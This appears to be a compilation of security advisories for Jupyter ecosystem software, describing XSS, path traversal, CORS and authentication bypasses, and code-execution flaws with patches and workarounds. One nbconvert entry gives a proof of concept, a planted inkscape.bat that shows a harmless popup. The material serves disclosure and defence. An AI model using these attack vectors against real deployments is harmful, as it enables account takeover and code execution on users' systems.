Jupyter Server is the backend for Jupyter web applications. Prior to 2.20, the nbconvert HTTP handlers in jupyterserver render user-authored notebook HTML under the Jupyter origin without a sandbox directive in their Content-Security-Policy. Combined with nbconvert.HTMLExporter's default non-sanitizing behavior, a notebook carrying an HTML payload in a displaydata output triggers stored XSS with cookie access, full /api/ authority, and kernel RCE. This vulnerability is fixed in 2.20.
JupyterLab Git is a Git extension for JupyterLab. From 0.30.0b3 before 0.54.0, the PlainTextDiff.ts createHeader() method passes Git filenames directly to innerHTML when rendering renamed files in commit history, allowing a crafted filename to execute JavaScript when a victim views the rename diff in the Git History tab. This issue is fixed in version 0.54.0.
Summary and impact
[GoogleOAuthenticator.hosteddomain] is used to restrict what Google accounts can be authorized to access a JupyterHub. The restriction is intended to ensure Google accounts are part of one or more Google organizations/workspaces verified to control specified domain(s).
The vulnerability is that the actual restriction has been to Google accounts with emails ending with the domain. Such accounts could have been created by anyone which at one time was able to read an email associated with the domain. This was described by Dylan Ayrey (@dxa4481) in this [blog post] from 15th December 2023.
Remediation
Upgrade to oauthenticator>=16.3.0 or restrict who can login another way, such as [allowedusers] or [allowedgooglegroups].
[GoogleOAuthenticator.hosteddomain]: https://oauthenticator.readthedocs.io/en/latest/reference/api/gen/oauthenticator.google.html#oauthenticator.google.GoogleOAuthenticator.hosteddomain [allowedusers]: https://oauthenticator.readthedocs.io/en/latest/reference/api/gen/oauthenticator.google.html#oauthenticator.google.GoogleOAuthenticator.allowedusers [allowedgooglegroups]: https://oauthenticator.readthedocs.io/en/latest/reference/api/gen/oauthenticator.google.html#oauthenticator.google.GoogleOAuthenticator.allowedgooglegroups [blog post]: https://trufflesecurity.com/blog/google-oauth-is-broken-sort-of/
Affects: Notebook and Lab between 6.4.0?(potentially earlier) and 6.4.11 (currently latest). Jupyter Server <=1.16.0. If I am correct about the responsible code it will affect Jupyter-Server 1.17.0 and 2.0.0a0 as well. Description: If notebook server is started with a value of rootdir that contains the starting user's home directory, then the underlying REST API can be used to leak the access token assigned at start time by guessing/brute forcing the PID of the jupyter server. While this requires an authenticated user session, this url can be used from an xss payload (as in CVE-2021-32798) or from a hooked or otherwise compromised browser to leak this access token to a malicious third party. This token can be used along with the REST API to interact with Jupyter services/notebooks such as modifying or overwriting critical files, such as .bashrc or .ssh/authorizedkeys, allowing a malicious user to read potentially sensitive data and possibly gain control of the impacted system.
Impact What kind of vulnerability is it? Who is impacted? We’d like to disclose an arbitrary code execution vulnerability in jupytercore that stems from jupytercore executing untrusted files in the current working directory. This vulnerability allows one user to run code as another.
Patches Has the problem been patched? What versions should users upgrade to? Users should upgrade to jupytercore>=4.11.2.
Workarounds Is there a way for users to fix or remediate the vulnerability without upgrading? No
References Are there any links users can visit to find out more? Similar advisory in IPython
An issue was discovered in Project Jupyter JupyterHub OAuthenticator 0.6.x before 0.6.2 and 0.7.x before 0.7.3. When using JupyterHub with GitLab group whitelisting for access control, group membership was not checked correctly, allowing members not in the whitelisted groups to create accounts on the Hub. (Users were not allowed to access other users' accounts, but could create their own accounts on the Hub linked to their GitLab account. GitLab authentication not using gitlabgroupwhitelist is unaffected. No other Authenticators are affected.)
Summary
An authentication bypass vulnerability in oauthenticator allows an attacker with an unverified email address on an Auth0 tenant to login to JupyterHub. When email is used as the usrnameclaim, this gives users control over their username and the possibility of account takeover.
Impact
This is an Authentication Bypass Vulnerability. Any Auth0 tenant leveraging the Auth0OAuthenticator mapping the email claim to the JupyterHub username is impacted. By default, Auth0 handles email verification as a user flag, not a hard block to authentication streams. If an attacker can register an account with the Auth0 tenant with an unverified email and knows the email of an existing user on the system, they can authenticate as that user.
Patches
- Upgrade oauthenticator to 17.4
Workarounds
- Check emailverified field in an Authenticator.postauthhook function - Do not use email as the username claim - Enforce email verification in auth0
JupyterLab is an extensible environment for interactive and reproducible computing, based on the Jupyter Notebook Architecture. From 4.0.0 to 4.5.6, the allow-list of extensions that can be installed from PyPI Extension Manager (allowedextensionsuris) is not correctly enforced by JupyterLab. The PyPI Extension Manager was not contained to packages listed on the default PyPI index. This vulnerability is fixed in 4.5.7.
A vulnerability in jupyter-server versions 1.12.0 through 2.17.0 allows an attacker to bypass CORS origin validation when the alloworiginpat configuration is used. The issue arises from the use of re.match() for validating the Origin header, which only anchors at the start of the string. This allows attacker-controlled domains such as trusted.example.com.evil.com to pass validation against patterns intended to match trusted.example.com. The vulnerability affects multiple locations in the codebase, including CORS headers, WebSocket connections, referer validation, and login redirects, potentially enabling phishing attacks, arbitrary code execution, and unauthorized access to sensitive API responses.
Impact
Improper handling of user controlled input caused a stored cross-site scripting (XSS) vulnerability. All previous versions of nbdime are affected.
Patches
Security patches will be released for each of the major versions of the nbdime packages since version 1.x of the nbdime python package.
Python - nbdime 1.x: Patched in v. 1.1.1 - nbdime 2.x: Patched in v. 2.1.1 - nbdime 3.x: Patched in v. 3.1.1
npm - nbdime 6.x version: Patched in 6.1.2 - nbdime 5.x version: Patched in 5.0.2 - nbdime-jupyterlab 1.x version: Patched in 1.0.1 - nbdime-jupyterlab 2.x version: Patched in 2.1.1
For more information If you have any questions or comments about this advisory email us at security@ipython.org.
jupyterlab is an extensible environment for interactive and reproducible computing, based on the Jupyter Notebook Architecture. Prior to 4.5.7, JupyterLab's HTML sanitizer allowlists data-commandlinker-command and data-commandlinker-args on button elements, while CommandLinker listens for all click events on document.body and executes the named command without checking whether the element came from trusted JupyterLab UI. A notebook with a pre-saved HTML cell output containing a deceptive button can trigger arbitrary JupyterLab commands - including arbitrary code execution - on a single user click, without any code being submitted for execution by the user. This vulnerability is fixed in 4.5.7.
jupyterlab is an extensible environment for interactive and reproducible computing, based on the Jupyter Notebook Architecture. From 3.3.0 until 4.5.10 and 4.6.2, JupyterLab allows notebook settings to be shared and applied through an overrides.json file using the Import button in the Settings Editor. In packages/notebook-extension/schema/tracker.json and packages/notebook-extension/src/index.ts, the sideBySideLeftMarginOverride and sideBySideRightMarginOverride settings are not properly validated before being inserted into style content, allowing a crafted settings file to contain instructions that execute as code instead of only changing display preferences. A user can import the malicious file, or an attacker with access to a shared settings location can plant an overrides.json that is applied automatically. The embedded code runs with the affected user's access and can read or modify notebooks and files and run code through the notebook server, including on a connected kernel. This issue is fixed in versions 4.5.10 and 4.6.2.
Summary
On Windows, converting a notebook containing SVG output to a PDF results in unauthorized code execution. Specifically, a third party can create a inkscape.bat file that defines a Windows batch script, capable of arbitrary code execution.
When a user runs jupyter nbconvert --to pdf on a notebook containing SVG output to a PDF on a Windows platform from this directory, the inkscape.bat file is run unexpectedly.
Details Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.
nbconvert searches for an inkscape executable when converting notebooks to PDFs here: https://github.com/jupyter/nbconvert/blob/4f61702f5c7524d8a3c4ac0d5fc33a6ac2fa36a7/nbconvert/preprocessors/svg2pdf.py#L104
The MITRE page on CWE-427 (Uncontrolled Search Path Element) summarizes the root cause succinctly:
In Windows-based systems, when the LoadLibrary or LoadLibraryEx function is called with a DLL name that does not contain a fully qualified path, the function follows a search order that includes two path elements that might be uncontrolled: - the directory from which the program has been loaded - the current working directory
PoC
Complete instructions, including specific configuration details, to reproduce the vulnerability.
1. Create a directory containing:
- A hidden bat file called inkscape.bat containing msg "You've been hacked!"
- A dummy ipynb file called MachineLearning.ipynb
2. Run the command jupyter nbconvert --to pdf MachineLearning.ipynb.
3. Wait a few seconds, and you should see a popup showing the message "You've been hacked!"
Impact
All Windows users.
nbviewer through 1.0.1 contains a path traversal vulnerability in LocalFileHandler.canshow() that uses string-prefix comparison instead of proper path validation. Attackers can read files from sibling directories outside the configured root by requesting paths that share the root as a textual prefix, disclosing unintended notebooks and credentials.
Impact
Affected configurations:
- Single-origin JupyterHub deployments - JupyterHub deployments with user-controlled applications running on subdomains or peer subdomains of either the Hub or a single-user server.
By tricking a user into visiting a malicious subdomain, the attacker can achieve an XSS directly affecting the former's session. More precisely, in the context of JupyterHub, this XSS could achieve the following:
- Full access to JupyterHub API and user's single-user server, e.g. - Create and exfiltrate an API Token - Exfiltrate all files hosted on the user's single-user server: notebooks, images, etc. - Install malicious extensions. They can be used as a backdoor to silently regain access to victim's session anytime.
Patches
To prevent cookie-tossing:
- Upgrade to JupyterHub 4.1 (both hub and user environment) - enable per-user domains via c.JupyterHub.subdomainhost = "https://mydomain.example.org" - set c.JupyterHub.cookiehostprefixenabled = True to enable domain-locked cookies
or, if available (applies to earlier JupyterHub versions):
- deploy jupyterhub on its own domain, not shared with any other services - enable per-user domains via c.JupyterHub.subdomainhost = "https://mydomain.example.org"
A path traversal vulnerability exists in jupyter-server version 2.17.0 due to an incorrect root directory boundary check in the getospath() function within jupyterserver/services/contents/fileio.py. The check uses startswith(root) without appending a trailing path separator, allowing sibling directories with names starting with the same prefix as rootdir to bypass the check. Additionally, the toospath() function in utils.py does not strip ".." from path parts, enabling traversal sequences to bypass the vulnerable check. This vulnerability can lead to unauthorized read/write access to files in sibling directories, potentially exposing sensitive data in shared hosting environments.
Impact
Users of JupyterHub deployments running DockerSpawner starting with 0.11.0 without specifying DockerSpawner.allowedimages configuration allow users to launch any pullable image, instead of restricting to only the single configured image, as intended.
Patches
Upgrade to DockerSpawner 13.
Workarounds
Explicitly setting DockerSpawner.allowedimages to a non-empty list containing only the default image will result in the intended default behavior:
python c.DockerSpawner.image = "your-image" c.DockerSpawner.allowedimages = ["your-image"]
In Jupyter Notebook before 5.4.1, a maliciously forged notebook file can bypass sanitization to execute JavaScript in the notebook context. Specifically, invalid HTML is 'fixed' by jQuery after sanitization, making it dangerous.